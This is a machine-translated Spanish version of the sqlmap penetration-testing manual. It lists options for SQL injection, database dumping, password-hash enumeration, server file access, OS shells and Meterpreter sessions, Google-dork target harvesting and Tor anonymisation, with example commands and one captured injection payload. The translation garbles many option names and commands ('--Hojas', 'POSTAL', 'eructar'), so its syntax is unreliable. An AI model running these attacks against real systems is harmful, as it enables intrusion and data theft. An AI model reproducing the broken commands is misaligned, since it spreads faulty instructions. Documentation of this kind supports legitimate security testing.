opciones:
-h, --help Muestra el mensaje de ayuda básica y de salida hh Mostrar avanzadas mensaje de ayuda y termina
--version Muestra el número de versión del programa y salir -v nivel detallado de verbosidad: 0-6 (por defecto 1) Objetivo:
Al menos una de estas opciones tiene que ser proporcionado para definir la objetivo (s)
Cadena de conexión DIRECTO -d para la conexión de base de datos directa URL -u, --url URL = URL de destino (por ejemplo,
"http://www.site.com/vuln.php?id=1")
objetivo (s) -l LOGFILE Parse de eructar o archivo de registro de proxy Webscarab
-x objetivo SITEMAPURL Parse (s) de archivo de mapa del sitio remoto (.xml) -m BULKFILE Escanear varios objetivos que figuran en un archivo de texto solicitud HTTP REQUESTFILE carga -r desde un archivo
-g Proceso GOOGLEDORK los resultados de Google dork como las URL de destino -c opciones CONFIGFILE de carga de un archivo de configuración INI
Solicitud:
Estas opciones se pueden utilizar para especificar cómo conectarse a la dirección URL de destino
--method = Usos del método de la fuerza del método HTTP dada (por ejemplo PUT)
--Hojas = cadena de datos Los datos que se envía a través de la POST --param-del .. = para caracteres utilizado para dividir los valores de parámetros
--cookie = valor de cookies HTTP cabecera Cookie
--cookie-del .. = COO de caracteres utilizado para dividir los valores de cookie
--load-cookies = L .. El archivo que contiene las cookies en formato de Netscape / wget
--drop-Set-Cookie Ignorar cabecera Set-Cookie de la respuesta --user-agent = valor de encabezado HTTP User-Agent-MAIL
El valor de uso cabecera --random-agente seleccionado al azar HTTP User-Agent
--host = valor de encabezado de host HTTP HOST --referer = HTTP_REFERER valor de encabezado Referer
CABECERA -H, --hea .. cabecera adicional (por ejemplo, "X-reenviado-a: 127.0.0.1")
--headers = HEADERS cabeceras adicionales (por ejemplo, "Accept-Language: fr \ nETag: 123")
De tipo --auth = AUTH .. HTTP tipo de autenticación (básica, implícita, NTLM o PKI)
--auth-cred = AUTH .. HTTP credenciales de autenticación (nombre: contraseña)
archivo de clave --auth-file = AUTH .. HTTP PEM autenticación de certificado / privada
--ignore-401 haga caso de error HTTP 401 (no autorizado)
--proxy = PROXY uso de un proxy para conectarse a la dirección URL de destino
--proxy-CRED PRO = .. credenciales de autenticación del proxy (nombre: contraseña)
--proxy-file = PRO .. Cargar lista de proxy de un archivo
--ignore-proxy Ignorar configuración de proxy por defecto del sistema red anónima Tor --tor Uso
--tor-port = TORPORT Conjunto Tor puerto proxy que no sea por defecto --tor-type = TORTYPE Conjunto Tor tipo de proxy (HTTP (por defecto), SOCKS4 o SOCKS5)
--check-tor Compruebe si se utiliza adecuadamente Tor
--delay = RETRASO Retraso en segundos entre cada solicitud HTTP
--timeout = segundos tiempo de espera necesario antes de la conexión de tiempo de espera (por defecto 30)
--retries = reintentos reintentos cuando los tiempos de espera de conexión (por defecto 3)
--randomize = RPARAM cambiar aleatoriamente el valor de parámetro determinado (s)
--safe-url = dirección URL SAFEURL visitar con frecuencia durante la prueba --safe-post = datos seguros .. POST para enviar a una dirección URL segura --safe-req = MÁS SEGURO .. Cargar solicitud HTTP a salvo de un archivo --safe-freq = SAFE peticiones de prueba .. entre dos visitas a una URL segura dada
--skip-urlencode Skip URL codificación de los datos de carga útil
--csrf-token = RSE .. parámetro se utiliza para mantener anti-CSRF token de --csrf-url = dirección URL CSRFURL para visitar para extraer anti-CSRF token de
Fuerza el uso --force-ssl de SSL / HTTPS
método de la contaminación parámetro --hpp Usar HTTP
--eval = EVALCODE Evaluar código Python proporcionado antes de la solicitud (por ejemplo,
"Hashlib importación; ID2 = hashlib.md5 (id) .hexdigest ()")
Mejoramiento:
Estas opciones se pueden usar para optimizar el rendimiento de sqlmap -O Encienda todos los interruptores de optimización
--predict-salida Predecir salida de consultas comunes --keep-alive Usar HTTP (s) persistente conexiones
--null conexión Recuperar longitud de página sin cuerpo de la respuesta HTTP real
--threads = HILOS: Máximo de HTTP concurrente (s) solicitud (por defecto 1) Inyección:
Estas opciones se pueden utilizar para especificar qué parámetros para probar,
proporcionar cargas útiles de inyección de secuencias de comandos personalizados y manipulación opcionales
parámetro comprobable TESTPARAMETER -p (s)
skip = prueba Saltar Saltar para el parámetro determinado (s)
--skip-estáticas parámetros de prueba Omitir que no aparecen dinámico --dbms = Fuerza DBMS DBMS back-end a este valor
--dbms-cred = DBMS .. credenciales de autenticación DBMS (usuario: contraseña)
--invalid-bignum Utilice números grandes para invalidar los valores Uso --invalid-lógica operaciones lógicas para invalidar los valores --invalid-cadena utilizan cadenas aleatorias para invalidar los valores --no-yeso Apague mecanismo de carga útil de colada
--no-fuga Apague cadena de mecanismo de escape
prefix = PREFIJO inyección cadena de carga útil prefijo --suffix = SUFIJO inyección cadena de carga útil sufijo
--tamper = antisabotaje Uso escritura (s) dada para la manipulación de datos de inyección
Detección:
Estas opciones se pueden utilizar para personalizar la fase de detección --level = NIVEL Nivel de pruebas para llevar a cabo (1-5, por defecto 1) --risk = RIESGO El riesgo de pruebas para llevar a cabo (1-3, por defecto 1) --string = Cadena CADENA para que coincida cuando la consulta se evalúa como True
--no-string = NO .. String para que coincida cuando la consulta se evalúa como False
--regexp = EXPREG Regexp para que coincida cuando la consulta se evalúa como True
--code = código HTTP código para que coincida cuando la consulta se evalúa como True
--text de sólo Comparar páginas basándose únicamente en el contenido textual Comparar --titles páginas basado sólo en sus títulos
técnicas:
Estas opciones se pueden utilizar para modificar las pruebas de inyección de SQL específica
técnicas
técnicas de inyección SQL --technique = TECH (por defecto "BEUSTQ") --time-sec = segundos TIMESEC para retrasar la respuesta de DBMS (por defecto 5)
--union-cols = UCOLS gama de columnas para la prueba de inyección de consulta SQL UNION
--union-char = UCHAR carácter que se utilizará para la fuerza bruta número de columnas
--union-from = UFROM tabla para utilizar en la inyección de una parte de la consulta SQL UNION
--dns-domain = DNS .. nombre de dominio utilizado para el ataque exfiltración DNS
--second-order = S .. Resultando URL de la página buscó la respuesta de segundo orden
Huella dactilar:
-f, --fingerprint Realizar una extensa versión de DBMS huella digital Enumeración:
Estas opciones se pueden utilizar para enumerar la base de datos back-end la gestión del sistema de información, la estructura y los datos contenidos en el
mesas. Por otra parte usted puede ejecutar sus propias sentencias SQL -a, --all Recuperar todo
-b, --banner Recuperar DBMS bandera
--current-user Recuperar DBMS usuario actual --current-db Recuperar DBMS base de datos actual --hostname Recuperar nombre del servidor DBMS --is-dba detectar si el usuario actual DBMS es DBA --users usuarios Enumerar DBMS
Enumerar --passwords DBMS hashes de contraseñas de usuarios Enumerar --privileges DBMS derechos a los clientes
--roles papeles usuarios Enumerar DBMS Enumerar --dbs bases de datos DBMS
--tables tablas de la base de Enumerar DBMS
Enumerar --columns DBMS columnas de las tablas de base de datos Enumerar --schema esquema DBMS
--count Recuperar número de entradas para la mesa (s) --dump Dump DBMS entradas de la tabla de base de datos
--dump-all la descarga todas las bases de datos DBMS entradas mesas --search columna de búsqueda (s), tabla (s) y / o el nombre de la base de datos (s)
--comments Recuperar comentarios DBMS -D base de datos DB DBMS para enumerar
-T tabla de base de TBL DBMS (s) para enumerar
columna de la tabla de base de datos -C COL DBMS (s) para enumerar
columna de la tabla de base de datos -X EXCLUDECOL DBMS (s) para no enumerar -U USUARIO DBMS usuario para enumerar
--exclude-sysdbs Excluir las bases de datos del sistema DBMS al enumerar las tablas
--pivot-columna = P .. nombre de la columna pivote
--donde = DUMPWHERE Uso condición WHERE mientras que el cuadro de dumping --start = LIMITSTART entrada Primera salida de la consulta para recuperar --stop = LIMITSTOP entrada de salida de la consulta para recuperar Última --first = aPartirDe Primera consulta palabra de salida para recuperar el carácter
--last = ultimocarac Última consulta carácter de palabra de salida para recuperar
--sql-query = instrucción de consulta SQL que se ejecutará Símbolo del --sql cáscara de una concha de SQL interactivo
--sql-file = SQLFile ejecutar sentencias SQL desde un archivo determinado (s)
Fuerza bruta:
Estas opciones se pueden utilizar para realizar comprobaciones de fuerza bruta
--common-tables Comprobar la existencia de mesas comunes --common-columns Comprobar la existencia de columnas comunes definido por el usuario función de inyección:
Estas opciones se pueden usar para crear funciones definidas por el usuario personalizados
--udf-inyectar funciones definidas por el usuario personalizados Inyectar --shared-lib = shlib Ruta local de la biblioteca compartida
Estas opciones se pueden utilizar para acceder a la gestión de base de datos back-end
sistema de sistema de archivos subyacente
--file-read = FICH_R Leer un archivo del sistema de archivos DBMS
--file-write = WFILE Escribir un archivo local en el sistema de archivos DBMS
--file-dest = DFILE back-end DBMS ruta absoluta para escribir Operando de acceso al sistema:
Estas opciones se pueden utilizar para acceder a la gestión de base de datos back-end
sistema de sistema operativo subyacente
--os-cmd = OSCMD ejecutar un comando del sistema operativo
Símbolo del --os-shell para un shell del sistema operativo interactivo Símbolo del --os-pwn de una cáscara fuera de banda, Meterpreter o VNC --os-SMBRelay pronta Un clic para una cáscara fuera de banda, Meterpreter o VNC
--os-BOF Procedimiento almacenado explotación de desbordamiento de búfer --priv-esc proceso de base de datos de privilegios de usuario escalada --msf-path = MSFPATH Ruta local donde está instalado Metasploit Framework --tmp-path = Ruta remota TMPPATH absoluta del directorio de archivos temporales
Ventanas de acceso al registro:
Estas opciones se pueden utilizar para acceder a la gestión de base de datos back-end
Registro del sistema de Windows
--reg lectura Leer un valor de clave del registro de Windows
--reg-añadir los datos de Escribe un valor de clave de registro de Windows --reg-del Eliminar un valor de clave del registro de Windows
--reg-clave = clave de registro de Windows regkey
--reg-valor = valor de la clave del registro de Windows REGVAL --reg-data = registro de datos de valores clave de Windows Regdata --reg-type = Registro de Windows RegType tipo de valor clave General:
Estas opciones se pueden utilizar para establecer algunos parámetros generales de trabajo
-s sesión de archivo de sesión de carga de un archivo almacenado (.sqlite) -t TRAFFICFILE Log todo el tráfico HTTP en un archivo de texto
--batch Nunca le pida a la entrada del usuario, utilice el comportamiento predeterminado
--binary-fields = .. campos de Resultados que tienen valores binarios (por ejemplo, "digerir")
--charset = codificación de caracteres CHARSET fuerza utilizada para la recuperación de datos
--crawl = CRAWLDEPTH del arrastre de la página web a partir de la dirección URL de destino
--crawl-excluye = .. Regexp para excluir páginas de rastreo (por ejemplo, "cerrar sesión")
--csv-del carácter = CSVDEL Delimitación utilizado en CSV de salida (por defecto ",")
--dump-format = DU .. Formato de los datos objeto de dumping (CSV (por defecto), HTML o SQLITE)
Pantalla --eta para cada salida de la hora estimada de llegada --flush-sesión Lavar los archivos de sesión para el objetivo actual --forms analizar y formas de prueba en dirección URL de destino --fresh-consultas Ignorar resultados de la consulta almacenados en el archivo de sesión
--hex función hexagonal Uso DBMS (s) para la recuperación de datos --output-dir = OUT .. encargo ruta del directorio de salida
--parse-errors analizar y mostrar mensajes de error de DBMS de respuestas --save = saveconfig Guardar las opciones en un archivo de configuración INI --scope = ALCANCE Regexp a metas de filtro de registro de proxy
proporcionado
--test-filter = TE .. seleccionar pruebas de cargas y / o títulos (por ejemplo FILA)
--test-skip = PRUEBA .. Pasar las pruebas de cargas y / o títulos (por ejemplo de referencia)
--update actualización sqlmap Diverso:
Mnemotécnicos -z Utilice mnemotécnicos cortos (por ejemplo, "la gripe, el palo, prohibición, tec = UE")
--alert = ALERTA Ejecutar comandos del sistema operativo anfitrión (s) cuando se encuentra de inyección SQL
--answers = RESPUESTAS conjunto de preguntas respuestas (por ejemplo, "dejar de fumar = N, N = siga")
ni --beep ni Tono en cuestión y / o cuando se encuentra de inyección SQL --cleanup Limpiar el DBMS de sqlmap UDF y tablas específicas
--dependencies Compruebe si faltan (no básicos) dependencias sqlmap --disable-colorante salida de la consola Desactivar
--gpage = GooglePage Uso de Google dork resultados de número de página especificado
--identify-WAF Haga una prueba a fondo para una protección WAF / IPS / IDS --skip-WAF Omitir detección heurística de la protección WAF / IPS / IDS Imitar --mobile teléfono inteligente a través de encabezado HTTP User-Agent Trabajo --offline en el modo fuera de línea (sólo utilizar los datos de sesión)
--page-ranking página de visualización (PR) para los resultados de Google dork
--purge-salida Extracción segura de todo el contenido de un directorio de salida
Llevar a cabo pruebas exhaustivas --smart sólo si heurística positiva (s) Símbolo del --sqlmap cáscara de una concha sqlmap interactivo
--wizard interfaz de asistente simple para los usuarios principiantes
verbosidad de salida
Opción: -v
Esta opción se puede utilizar para ajustar el nivel de verbosidad de los mensajes de salida.Existen siete niveles de verbosidad. El nivel por defecto es 1 , en el que
se muestran información, advertencia de error, los mensajes críticos y los rastreos de Python (en su caso se producen).
0 : Mostrar solamente las trazas de retorno de Python, errores y mensajes críticos. 1 : Show también la información y mensajes de advertencia.
2 : Show también depurar mensajes. 3 : Show también cargas útiles inyectado. 4 : Show también las peticiones HTTP.
5 : Show también las cabeceras de las respuestas HTTP. 6 : Show también contenido de la página respuestas HTTP.
Un nivel razonable de nivel de detalle para comprender mejor lo que hace sqlmap bajo el capó es de nivel 2 , principalmente para la fase de detección y las
funcionalidades de adquisición. Mientras que si quieres ver las cargas útiles de las herramientas de SQL envía, el nivel 3 es su mejor opción. También se recomienda este nivel para ser utilizado cuando se alimenta a los desarrolladores con un potencial de informe de error, asegúrese de que se envía junto con la salida
estándar del archivo de registro de tráfico generado con la opción -t . Con el fin de depurar aún más las posibles errores o comportamientos inesperados, le
recomendamos que ajuste el nivel de detalle de nivel 4 o superior.
Objetivo
Al menos una de estas opciones ha proporcionado puede fijar el objetivo (s).
Conexión directa a la base de datos
Opción: -d
Ejecutar sqlmap contra una sola instancia de base de datos. Esta opción acepta una cadena de conexión en una de las siguientes formas:
DBMS: // USUARIO: CONTRASEÑA @ DBMS_IP: DBMS_PORT / DATABASE_NAME (MySQL, Oracle, Microsoft SQL Server, PostgreSQL, etc.)
DBMS: // DATABASE_FILEPATH (SQLite, Microsoft Access, Firebird, etc.)
Por ejemplo:
sqlmap.py $ pitón -d "mysql: // Administrador: [email protected]: 3306 / testdb" -f --bann \
er --dbs --users
URL de destino
Opción: -u o --url
Ejecutar sqlmap contra una sola dirección URL de destino. Esta opción requiere una dirección URL de destino en forma siguiente:
http (s): // TargetURL [: puerto] / [...]
Por ejemplo:
$ Python sqlmap.py -u "http://www.target.com/vuln.php?id=1" -f --banner --dbs - \
-Los usuarios
Analizar los objetivos de eructar o registros de
proxy Webscarab
Opción: -l
En lugar de proporcionar una única dirección URL de destino, es posible probar e inyectar en contra de las peticiones HTTP proxy a través de proxy eructar o proxy de Webscarab . Esta opción requiere un argumento que es peticiones HTTP de proxy del archivo de registro.
Analizar los objetivos del archivo de mapa del sitio
remoto (.xml)
Opción: -x
Un mapa del sitio es un archivo en el que los administradores de web pueden enumerar los lugares de la página web de su sitio para decirle a los motores de búsqueda sobre la organización del contenido del sitio. Puede proporcionar la ubicación de un mapa de sitio para sqlmap utilizando la opción -x (por ejemplo, -x http://www.target.com/sitemap.xml ) por lo que podría encontrar las direcciones URL de destino utilizables para fines de exploración.
Escanear múltiples objetivos alistados en un
archivo de texto dado
Opción: -m
lista de direcciones URL de destino alistados en un archivo dado mayor proporcionando, sqlmap explorará cada uno de los uno por uno.
el contenido de ejemplo de un archivo de mayor proporcionado como argumento para esta opción:
www.target1.com/vuln1.php?q=foobar www.target2.com/vuln2.asp?id=1 www.target3.com/vuln3/id/1*
solicitud de carga HTTP desde un archivo
Una de las posibilidades es de sqlmap carga de petición HTTP prima a partir de un archivo de texto. De esa manera se puede omitir el uso de un número de otras opciones (por ejemplo, instalación de cookies, Publicado datos, etc.).
el contenido de ejemplo de un archivo de solicitud HTTP proporcionada como argumento para esta opción:
POSTAL /vuln.php HTTP / 1.1 Anfitrión: www.target.com User-Agent: Mozilla / 4.0 id = 1
Tenga en cuenta que si la solicitud es a través de HTTPS, puede utilizar esto en conjunto con el interruptor --force-SSL para forzar la conexión SSL a 443 / tcp. Como alternativa, puede anexar: 443 hasta el final del anfitrión valor de encabezado.
Resultados proceso de Google dork como
direcciones de destino
Opción: -g
También es posible poner a prueba e inyectar en GET parámetros basados en los resultados de su idiota Google.
Esta opción hace que sqlmap negociar con el motor de búsqueda de su cookie de sesión para poder llevar a cabo una búsqueda, a continuación, sqlmap recuperará Google primeros 100 resultados de la expresión idiota Google con GET parámetros que le pregunta si desea probar e inyectar en cada posible URL afectada .
Por ejemplo:
$ Python sqlmap.py -g "inurl: \". Php? Id = 1 \ ""
opciones de carga de un archivo de configuración
INI
Opción: -c
Es posible pasar opciones de usuario desde un archivo INI de configuración, un ejemplo essqlmap.conf .
Tenga en cuenta que si usted proporciona otras opciones de línea de comandos, los que son evaluados cuando se ejecuta sqlmap y sobrescribir los previstos en el archivo de configuración.
Solicitud
Estas opciones se pueden utilizar para especificar cómo conectarse a la dirección URL de destino.
método HTTP
Opción: --method
sqlmap detecta automáticamente el método HTTP adecuado para ser utilizado en las peticiones HTTP. Sin embargo, en algunos casos, se requiere para forzar el uso de método HTTP específica (por ejemplo PUT ) que no se utiliza por el
automatismo. Esto es posible con el uso de esta opción (por ejemplo --method = PUT ).
datos HTTP
Opción: --Hojas
Por defecto, el método HTTP utilizado para realizar peticiones HTTP es GET , pero se puede cambiar de forma implícita a PUBLIQUE proporcionando los datos a ser enviados en los POST desolicitudes. Tales datos, siendo estos parámetros, se prueban para la inyección de SQL, así como las previstas GET parámetros. Por ejemplo:
$ Python sqlmap.py -u "http://www.target.com/vuln.php" Hojas = "id = 1" f --banne \
r --dbs --users
carácter división parámetro
Opción: --param-del
Hay casos en los parámetros por defecto delimitador (por ejemplo, y en los datos POST y GET) debe ser sobrescrito por sqlmap para poder procesar
adecuadamente dividida y cada parámetro por separado. Por ejemplo:
$ Python sqlmap.py -u "http://www.target.com/vuln.php" --Hojas = "query = foobar; id = \
1 "--param-del ="; "f --banner --dbs --users
HTTP
Cookiescabecera
Las opciones y los interruptores: --cookie , --cookie-del , --load-cookies y --drop-Set-Cookie
Estas opciones y modificadores se pueden utilizar en dos situaciones:
La aplicación web requiere autenticación basándose en los cookies y usted tiene este tipo de datos.
Desea detectar y explotar de inyección SQL en dichos valores de cabecera.
De cualquier razón te lleva a necesita enviar las galletas con las peticiones sqlmap, los pasos a seguir son los siguientes:
Obtener la cookie HTTP de preferencias de tu navegador o desde la pantalla de proxy HTTP y copiar al portapapeles.
Vuelve a tu shell y ejecutar sqlmap pegando el portapapeles como valor de la opción --cookie .
Tenga en cuenta que los HTTP galleta de valores de cabecera suelen estar separados por una; carácter, no por una y . sqlmap puede reconocer éstos como conjuntos separados deparámetro = valor demasiado, así como GET y POST de parámetros. En caso de que el carácter de separación es distinto ; se puede especificar utilizando la opción --cookie-del .
Si en cualquier momento durante la comunicación, la aplicación web responde con Set-Cookiecabeceras, sqlmap utilizará automáticamente su valor en todas las peticiones HTTP adicionales como la galleta de cabecera. sqlmap también probará automáticamente estos valores para la inyección de SQL. Esto puede evitarse proporcionando el interruptor --drop-Set-Cookie - sqlmap ignorará cualquier procedente Set-Cookie cabecera.
A la inversa, si usted proporciona un HTTP Cookies encabezado con opción --cookie y la URL de destino envía un HTTP Set-Cookie cabecera en cualquier momento, sqlmap le preguntará qué conjunto de cookies para utilizar para las siguientes solicitudes HTTP.
También hay una opción -cookies --load que se pueden utilizar para proporcionar un archivo especial que contiene Netscape / wget formato cookies.
Tenga en cuenta que también el HTTP Cookies cabecera se comprueba frente a la inyección de SQL si el --level se establece en 2 o superior. Lea a continuación para más detalles.
HTTP
User-Agentcabecera
Opción y el interruptor: --user-agente y --random-agente
Por defecto sqlmap realiza peticiones HTTP con el siguiente User-Agent valor de encabezado:
sqlmap / 1.0-dev-xxxxxxx (http://sqlmap.org)
Sin embargo, es posible que fingir con la opción --user-agente , proporcionando a medida User-Agent como argumento de la opción.
Además, al proporcionar el interruptor --random-agente , sqlmap seleccionará al azar a un agente de usuario de la ./txt/user-agents.txt archivo de texto y utilizarlo para todas las peticiones HTTP dentro de la sesión.
Algunos sitios realizan una comprobación del lado del servidor de HTTP User-Agent valor de encabezado y no logran la respuesta HTTP válida si un agente de usuario no se proporciona, no se espera que su valor o en una lista negra por un firewall de aplicaciones web o sistema de prevención de intrusiones similares. En este caso sqlmap le mostrará un mensaje de la siguiente manera:
[Hh: mm: 20] [ERROR] la URL de destino responde con un código de estado HTTP desconocido, trate de
forzar la cabecera HTTP User-Agent con la opción --user-agente o --random-agente
Tenga en cuenta que también el HTTP User-Agent cabecera se prueba contra la inyección de SQL si el --level se establece en 3 o superior. Lea a continuación para más detalles.
Opción: --host
Puede configurar manualmente HTTP Host valor de encabezado. Por defecto HTTP Hostcabecera se analiza desde una dirección URL de destino previsto. Tenga en cuenta que también el HTTP Host cabecera se comprueba frente a la inyección de SQL si el --level se establece en 5 . Lea a continuación para más detalles.
HTTP
Referercabecera
Opción: --referer
Es posible falsificar el HTTP Referer valor de encabezado. Por
defecto no HTTP Referercabecera se envía en las solicitudes HTTP si no se establece de manera explícita.
Tenga en cuenta que también el HTTP Referer cabecera se comprueba frente a la inyección de SQL si el --level se establece en 3 o superior. Lea a continuación para más detalles.
cabeceras extra de HTTP
Opción: --headers
Es posible proporcionar cabeceras HTTP adicionales estableciendo la opción --headers . Cada cabecera debe estar separado por un salto de línea y es mucho más fácil para proporcionarles a partir del archivo INI de configuración. Puede echar un vistazo a la muestra sqlmap.conf archivo para tal caso.
Ejemplo frente a un objetivo de MySQL:
$ Python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" -z \ "IGN, la gripe, el palo, tec = E" --headers = "Anfitrión: www.target.com \ Nuser-agent: Firefox 1.0" -v 5
[...]
[Xx: xx: 44] [TRÁFICO OUT] petición HTTP [# 5]:
GET /sqlmap/mysql/get_int.php? Id = 1% 20y% 20% 28SELECT% 209351% 20FROM% 28SELECT% 20C \
ONTAJE% 28% 2A% 29% 2CCONCAT% 280x3a6161733a% 2C% 28SELECT% 20% 28CASE% 20Cuando% 20% 285 473% 20 \ % 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20 % 20% \ 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 2 \ 0% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20 \ % 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20 % 20% \ 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 2 \ 0% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20 \ % 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20 % 20% \ 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 2 \
0% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20 \ % 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 3D% 20% 20% 20% 20% 20% 20 % 20% \ 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 2 \ 0% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20 \ % 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20 % 20% \ 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 2 \ 0% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20 \ % 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20 % 20% \ 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 2 \ 0% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20 \ % 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20 % 20% \ 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 205 473% 29% 20 Entonces% 201% 20ELSE% 200% 20END% 29% 29% 2C \
0x3a6c666d3a% 2CFLOOR% 28RAND% 280% 29% 29% 2A2% 29x% 20FROM% 20INFORMATION_SCHEMA.CHARA \
CTER_SETS% 20GROUP% 20BY% 20x% 29a% 29 HTTP / 1.1
Anfitrión: www.target.com Accept-Encoding: gzip, desinfle
Accept: text / html, application / xhtml + xml, application / xml; q = 0,9, * / *; q = 0,8
User-agent: Firefox 1.0 Conexión: cerrar
[...]
autenticación de protocolo HTTP
Opciones: de tipo --auth y --auth-CRED
Estas opciones se pueden utilizar para especificar los implementos HTTP del servidor web autenticación del protocolo de back-end y las credenciales válidas para ser utilizados para llevar a cabo todas las peticiones HTTP a la aplicación de destino.
Los tres mecanismos de autenticación del protocolo HTTP soportados son:
BASIC Digerir NTLM
Mientras que la sintaxis de las credenciales 'es nombre de usuario: contraseña . Ejemplo de sintaxis válida:
$ Python sqlmap.py -u "http:? //192.168.136.131/sqlmap/mysql/basic/get_int.php ID \
= 1 "de tipo básico --auth --auth-CRED" testuser: testpass "
protocolo HTTP de autenticación de clave privada
Opción: --auth-archivo
Esta opción se debe utilizar en los casos en que el servidor web requiere certificado de cliente adecuado y una clave privada para la autenticación. Valor proporcionado debe ser un formato PEM key_file que contiene su certificado y una clave privada.
No haga caso de error HTTP 401 (no autorizado)
Cambiar --ignore-401
En caso de que desee probar el sitio que de vez en cuando devuelve el error HTTP 401 (no autorizado), mientras que desea ignorar y continuar las pruebas sin proporcionar las credenciales adecuadas, puede utilizar el interruptor --ignore-401
HTTP (S) de proxy
Opciones y conmutador: --proxy , --proxy-CRED , --proxy-archivo y --ignore-proxy
Es posible proporcionar una dirección de proxy HTTP (S) para pasar por el HTTP (S) solicita a la dirección URL de destino con la opción --proxy . La sintaxis de HTTP (S) Valor proxy es http: // url: puerto .
Si el HTTP (S) proxy requiere autenticación, puede proporcionar las credenciales en el formato denombre de usuario: contraseña a la opción --proxy-CRED .
En caso de que desee utilizar la lista de proxy (desechables), saltando a la siguiente proxy en cualquier signo de un problema de conexión (por ejemplo, el bloqueo de la dirección IP invasivo), opción --proxy-archivo puede ser utilizado por proporcionar el nombre de archivo de un archivo que contiene lista mayor parte de los proxies.
Cambiar --ignore-proxy se debe utilizar cuando se quiere ejecutar sqlmap contra una pieza de destino de una red de área local haciendo caso omiso de la
configuración del servidor proxy de todo el sistema conjunto de HTTP (S).
red anónima Tor
Interruptores y opciones: --tor , --tor puertos , de tipo --tor y --check-tor
Si, por cualquier razón, es necesario permanecer en el anonimato, en lugar de pasar por un servidor proxy HTTP único predefinido (S), se puede configurar un cliente Tor , junto con Privoxy(o similar) en su máquina como se explica en las guías de instalación de Tor . A continuación, puede utilizar un interruptor --tor y sqlmap intentará configurar automáticamente los ajustes de conexión de proxy Tor.
En caso de que desee establecer manualmente el tipo y el puerto de los usados proxy de Tor, puede hacerlo con opciones de tipo --tor y --tor-puerto (por ejemplo, de tipo --tor = SOCKS5 --tor-puerto 9050 ) .
Se recomienda encarecidamente utilizar --check-tor de vez en cuando para asegurarse de que todo se ha configurado correctamente. Hay casos en los paquetes de Tor Vidalia (por ejemplo) vienen mal configurado (o restablecimiento de la configuración establecida previamente) que le da una falsa sensación de anonimato. El uso de este interruptor se sqlmap comprobar que todo funciona como se esperaba mediante el envío de una única solicitud a un funcionario ¿Está utilizando Tor? Página antes de cualquier solicitud de destino. En caso de que el registro falla, sqlmap le advertirá y salir de forma abrupta.
Retardo entre cada petición HTTP
Opción: --delay
Es posible especificar un número de segundos que se mantenga entre cada petición HTTP (S). El valor válido es un flotador, por ejemplo 0.5 significa la mitad de un segundo. De manera predeterminada, no se establece ningún retardo.
Segundos de espera antes de la conexión de
tiempo de espera
Opción: --timeout
Es posible especificar un número de segundos de espera antes de considerar el HTTP (S) solicitud ha caducado. El valor válido es un flotador, por ejemplo 10.5 significa diez segundos y medio. Por defecto 30 segundos se establecen.
El número máximo de reintentos cuando la
conexión HTTP tiempos de espera
Opción: --retries
Es posible especificar el número máximo de reintentos cuando los tiempos de espera de HTTP (S) de conexión. Por defecto se vuelve a intentar hasta tres veces .
Al azar cambiar el valor de parámetro determinado
(s)
Opción: --randomize
Es posible especificar nombres de los parámetros cuyos valores desea cambiar aleatoriamente durante cada solicitud. Longitud y el tipo se mantienen de acuerdo a los valores originales proporcionadas.
objetivos de filtrado de registro de proxy
proporcionado utilizando expresiones regulares
Opción: --scope
En lugar de utilizar todas las máquinas analizadas desde los registros de siempre con la opción -l , puede especificar Python expresión regular válida para ser utilizada para el filtrado de los deseados.
Ejemplo de sintaxis válida:
$ Python sqlmap.py -l burp.log --scope = "?. (Www) \ target \. (Com | net | org)"
Evitar la sesión para ser destruidos después de
demasiadas peticiones infructuosas
Opciones: --safe-url , --safe-post , --safe-REQ y --safe-freq
